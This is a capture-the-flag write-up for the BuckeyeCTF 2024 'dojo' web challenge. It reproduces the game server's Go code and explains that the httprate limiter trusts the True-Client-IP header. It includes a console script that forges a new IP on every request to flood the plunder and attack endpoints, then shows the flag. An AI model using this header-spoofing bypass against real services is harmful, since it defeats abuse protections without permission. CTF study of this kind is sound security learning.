Skip to content

Instantly share code, notes, and snippets.

@ky28059
Last active October 2, 2024 06:04
Show Gist options
  • Save ky28059/b5f47ad77ea136d07cfaf15980fedf4c to your computer and use it in GitHub Desktop.
Save ky28059/b5f47ad77ea136d07cfaf15980fedf4c to your computer and use it in GitHub Desktop.

BuckeyeCTF 2024 — dojo

The dojo stores many riches. Can you make it through the gauntlet?

dojo.challs.pwnoh.io

We're given a Go server looking like this:

package server

import (
	"encoding/json"
	"math/rand/v2"
	"net/http"
	"os"
	"path/filepath"
	"strings"
	"time"

	"github.com/go-chi/chi/v5"
	"github.com/go-chi/chi/v5/middleware"
	"github.com/go-chi/httprate"
	"github.com/go-chi/jwtauth/v5"
	"github.com/gorilla/websocket"
)

var TokenAuth *jwtauth.JWTAuth

const MaxBossHealth = 1000

type GameState struct {
	id           int32
	bossHealth   int32
	playerHealth int32
	plundered    int32
	lastDodge    time.Time

	conn *websocket.Conn
}

func (gs *GameState) SyncJSON() {
	if gs.conn != nil {
		gs.conn.WriteJSON(map[string]interface{}{
			"action":       "sync",
			"playerHealth": gs.playerHealth,
			"bossHealth":   gs.bossHealth,
		})
	}

	if gs.bossHealth <= 0 {
		if gs.conn != nil {
			gs.conn.WriteJSON(map[string]string{"action": "win"})

			if gs.plundered > 800 {
				flag, exists := os.LookupEnv("FLAG")
				if !exists {
					flag = "bctf{fake_flag}"
				}
				gs.conn.WriteJSON(map[string]string{"flag": flag})
			}

			gs.conn.Close()
		}

		delete(gameStates, gs.id)
	}

	if gs.playerHealth <= 0 {
		if gs.conn != nil {
			gs.conn.WriteJSON(map[string]string{"action": "lose", "reason": "died"})
			gs.conn.Close()
		}
		delete(gameStates, gs.id)
	}
}

func (gs *GameState) PlayerAttack() (success bool, amount int32) {
	if gs.lastDodge.Add(1 * time.Second).After(time.Now()) {
		return false, 0
	}

	amt := int32(rand.IntN(12) + 2)

	if gs.conn != nil {
		gs.conn.WriteJSON(map[string]interface{}{"action": "player_attack", "amount": amt})
	}

	gs.bossHealth -= amt
	gs.SyncJSON()
	return true, amt
}

func (gs *GameState) PlayerDodge() {
	gs.lastDodge = time.Now()
}

func (gs *GameState) PlayerPlunder() (bool, int32) {
	if gs.lastDodge.Add(1 * time.Second).After(time.Now()) {
		return false, 0
	}

	amount := int32(rand.IntN(12) + 2)
	gs.plundered += amount
	return true, amount
}

func (gs *GameState) BossAttack(amount int32) {
	if gs.lastDodge.Add(1 * time.Second).After(time.Now()) {
		if gs.conn != nil {
			gs.conn.WriteJSON(map[string]interface{}{"action": "dodged", "amount": amount})
		}
		return
	}

	gs.playerHealth -= amount

	if gs.conn != nil {
		gs.conn.WriteJSON(map[string]interface{}{"action": "boss_attack", "amount": amount})
	}
	gs.SyncJSON()
}

func (gs *GameState) BossSignalAttack() {
	if gs.conn != nil {
		gs.conn.WriteJSON(map[string]interface{}{"action": "signal"})
	}
}

func (gs *GameState) BossHeal(amount int32) {
	gs.bossHealth = min(gs.bossHealth+amount, MaxBossHealth)

	if gs.conn != nil {
		gs.conn.WriteJSON(map[string]interface{}{"action": "heal", "amount": amount})
	}
	gs.SyncJSON()
}

func (gs *GameState) TimeoutLose() {
	if gs.conn != nil {
		gs.conn.WriteJSON(map[string]string{"action": "lose", "reason": "timed out"})
		gs.conn.Close()
	}
	delete(gameStates, gs.id)
}

var gameStates = make(map[int32]*GameState)

var upgrader = websocket.Upgrader{
	ReadBufferSize:  1024,
	WriteBufferSize: 1024,
	CheckOrigin:     func(r *http.Request) bool { return os.Getenv("BF_PRODUCTION") != "true" },
}

func (s *Server) RegisterRoutes() http.Handler {
	r := chi.NewRouter()
	r.Use(middleware.Recoverer)
	r.Get("/", s.FrontendHandler)
	r.Get("/*", s.FrontendHandler)

	r.Group(func(r chi.Router) {
		r.Use(middleware.Logger)
		r.Use(middleware.Timeout(time.Second * 60))
		r.Use(httprate.LimitByRealIP(2, time.Second))
		r.Get("/api/new", s.NewGameHandler)

		r.Group(func(r chi.Router) {
			r.Use(jwtauth.Verifier(TokenAuth))
			r.Use(jwtauth.Authenticator(TokenAuth))

			r.Get("/api/attack", s.AttackHandler)
			r.Get("/api/dodge", s.DodgeHandler)
			r.Get("/api/plunder", s.PlunderHandler)
			r.Get("/api/ws", s.WebsocketHandler)
		})
	})

	return r
}

func (s *Server) FrontendHandler(w http.ResponseWriter, r *http.Request) {
	ext := filepath.Ext(r.URL.Path)

	// If there is no file extension, and it does not end with a slash,
	// assume it's an HTML file and append .html
	if ext == "" && !strings.HasSuffix(r.URL.Path, "/") {
		r.URL.Path += ".html"
	}

	http.FileServer(http.Dir("frontend/build")).ServeHTTP(w, r)
}

func (s *Server) AttackHandler(w http.ResponseWriter, r *http.Request) {
	_, claims, _ := jwtauth.FromContext(r.Context())
	game_id := int32(claims["game_id"].(float64))

	gameState := gameStates[game_id]
	if gameState == nil {
		w.WriteHeader(http.StatusNotFound)
		json.NewEncoder(w).Encode(map[string]interface{}{"status": "error", "message": "Game not found"})
		return
	}

	success, amount := gameState.PlayerAttack()
	if !success {
		w.WriteHeader(http.StatusInternalServerError)
		json.NewEncoder(w).Encode(map[string]interface{}{"status": "error", "message": "You can't attack right now"})
		return
	}

	json.NewEncoder(w).Encode(map[string]interface{}{"status": "success", "amount": amount})
}

func (s *Server) DodgeHandler(w http.ResponseWriter, r *http.Request) {
	_, claims, _ := jwtauth.FromContext(r.Context())
	game_id := int32(claims["game_id"].(float64))

	gameState := gameStates[game_id]
	if gameState == nil {
		w.WriteHeader(http.StatusNotFound)
		json.NewEncoder(w).Encode(map[string]interface{}{"status": "error", "message": "Game not found"})
		return
	}

	gameState.PlayerDodge()

	json.NewEncoder(w).Encode(map[string]interface{}{"status": "success"})
}

func (s *Server) PlunderHandler(w http.ResponseWriter, r *http.Request) {
	_, claims, _ := jwtauth.FromContext(r.Context())
	game_id := int32(claims["game_id"].(float64))

	gameState := gameStates[game_id]
	if gameState == nil {
		w.WriteHeader(http.StatusNotFound)
		json.NewEncoder(w).Encode(map[string]interface{}{"status": "error", "message": "Game not found"})
		return
	}

	success, amount := gameState.PlayerPlunder()
	if !success {
		w.WriteHeader(http.StatusInternalServerError)
		json.NewEncoder(w).Encode(map[string]interface{}{"status": "error", "message": "You can't plunder right now"})
		return
	}

	json.NewEncoder(w).Encode(map[string]interface{}{
		"status": "success",
		"amount": amount,
		"total":  gameState.plundered,
	})
}

func (s *Server) NewGameHandler(w http.ResponseWriter, r *http.Request) {
	gameId := rand.Int32()
	_, tokenString, _ := TokenAuth.Encode(map[string]interface{}{"game_id": gameId})

	gameStates[gameId] = &GameState{
		id:           gameId,
		bossHealth:   MaxBossHealth,
		playerHealth: 100,
	}

	cookie := http.Cookie{
		Name:     "jwt",
		Value:    tokenString,
		HttpOnly: false,
	}

	http.SetCookie(w, &cookie)

	go gameRunner(gameId)

	http.Redirect(w, r, "/play", http.StatusTemporaryRedirect)
}

func gameRunner(gameId int32) {
	s2 := rand.NewPCG(uint64(gameId), 1024)
	r2 := rand.New(s2)

	go func() {
		time.Sleep(60 * time.Second)

		gameState := gameStates[gameId]
		if gameState == nil {
			return
		}

		gameState.TimeoutLose()
	}()

	time.Sleep(3 * 1000 * time.Millisecond)

	for {
		time.Sleep(1000 * time.Millisecond)
		gameState := gameStates[gameId]
		if gameState == nil {
			return
		}

		v := r2.IntN(100)

		if v < 20 {
			if gameState.bossHealth < MaxBossHealth*0.8 {
				healAmount := int32(r2.IntN(50) + 20)
				gameState.BossHeal(healAmount)
			} else {
				damageAmount := int32(r2.IntN(30) + 5)
				gameState.BossAttack(damageAmount)
			}
		} else if v < 35 {
			gameState.BossSignalAttack()
			time.Sleep(1000 * time.Millisecond)
			damageAmount := int32(r2.IntN(50) + 10)
			gameState.BossAttack(damageAmount)
		} else if v < 50 {
			damageAmount := int32(r2.IntN(30) + 5)
			gameState.BossAttack(damageAmount)
		} else if v < 65 {
			gameState.BossSignalAttack()
		}
	}
}

func (s *Server) WebsocketHandler(w http.ResponseWriter, r *http.Request) {
	_, claims, _ := jwtauth.FromContext(r.Context())
	gameId := int32(claims["game_id"].(float64))

	gameState := gameStates[gameId]
	if gameState == nil {
		w.WriteHeader(http.StatusNotFound)
		json.NewEncoder(w).Encode(map[string]interface{}{"status": "error", "message": "Game not found"})
		return
	}

	conn, err := upgrader.Upgrade(w, r, nil)
	if err != nil {
		return
	}

	gameState.conn = conn
	gameState.SyncJSON()
}

Our goal is to plunder 800 emeralds, all while defeating the boss and not getting killed in the process.

image

Looking at the underlying logic for attacking, dodging, and plundering,

func (gs *GameState) PlayerAttack() (success bool, amount int32) {
	if gs.lastDodge.Add(1 * time.Second).After(time.Now()) {
		return false, 0
	}

	amt := int32(rand.IntN(12) + 2)

	if gs.conn != nil {
		gs.conn.WriteJSON(map[string]interface{}{"action": "player_attack", "amount": amt})
	}

	gs.bossHealth -= amt
	gs.SyncJSON()
	return true, amt
}

func (gs *GameState) PlayerDodge() {
	gs.lastDodge = time.Now()
}

func (gs *GameState) PlayerPlunder() (bool, int32) {
	if gs.lastDodge.Add(1 * time.Second).After(time.Now()) {
		return false, 0
	}

	amount := int32(rand.IntN(12) + 2)
	gs.plundered += amount
	return true, amount
}

it seems like attacking and plundering are only prevented after dodging, and don't block the spam of each other. Then, a preliminary idea can be to just spam plunder until we reach 800 emeralds, then spam attack until we kill the boss.

Unfortunately, referencing the route handler again,

	r.Group(func(r chi.Router) {
		r.Use(middleware.Logger)
		r.Use(middleware.Timeout(time.Second * 60))
		r.Use(httprate.LimitByRealIP(2, time.Second))
		r.Get("/api/new", s.NewGameHandler)

it looks like our requests are ratelimited to 2 per second by httprate.LimitByRealIP; naively spamming requests will return 429s and we'll still get defeated by the boss.

However, going to the httprate source code,

func LimitByRealIP(requestLimit int, windowLength time.Duration) func(next http.Handler) http.Handler {
	return Limit(requestLimit, windowLength, WithKeyFuncs(KeyByRealIP))
}

func Key(key string) func(r *http.Request) (string, error) {
	return func(r *http.Request) (string, error) {
		return key, nil
	}
}

func KeyByIP(r *http.Request) (string, error) {
	ip, _, err := net.SplitHostPort(r.RemoteAddr)
	if err != nil {
		ip = r.RemoteAddr
	}
	return canonicalizeIP(ip), nil
}

func KeyByRealIP(r *http.Request) (string, error) {
	var ip string

	if tcip := r.Header.Get("True-Client-IP"); tcip != "" {
		ip = tcip
	} else if xrip := r.Header.Get("X-Real-IP"); xrip != "" {
		ip = xrip
	} else if xff := r.Header.Get("X-Forwarded-For"); xff != "" {
		i := strings.Index(xff, ", ")
		if i == -1 {
			i = len(xff)
		}
		ip = xff[:i]
	} else {
		var err error
		ip, _, err = net.SplitHostPort(r.RemoteAddr)
		if err != nil {
			ip = r.RemoteAddr
		}
	}

	return canonicalizeIP(ip), nil
}

it looks like the way they check the client's real IP is through reading the True-Client-IP header. If we forge this header, then, we should be able to bypass their rate limiting and get the flag.

Occasionally, forged fetches still fail for whatever reason. Still, assuming most fetches still go through, we can spam attacks and plunders with the following console script:

let i = 0;
while (true) {
    try {
        const { total } = await (await fetch('/api/plunder', {
            headers: { 'True-Client-IP': `${i}.${i}.${i}.${i++}` }
        })).json();
        if (total > 800) break;
    } catch {}
}

let health = 2000;
while (health >= 0) {
    try {
        const { amount } = await (await fetch('/api/attack', {
            headers: { 'True-Client-IP': `${i}.${i}.${i}.${i++}` }
        })).json();
        health -= amount;
    } catch {}
}
dojo.webm

Once we've won, all we need to do is check the websocket to get the flag:

image

bctf{D3FAul7_rA73_l1m17_fUnc710N5_aR3_5caRy}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment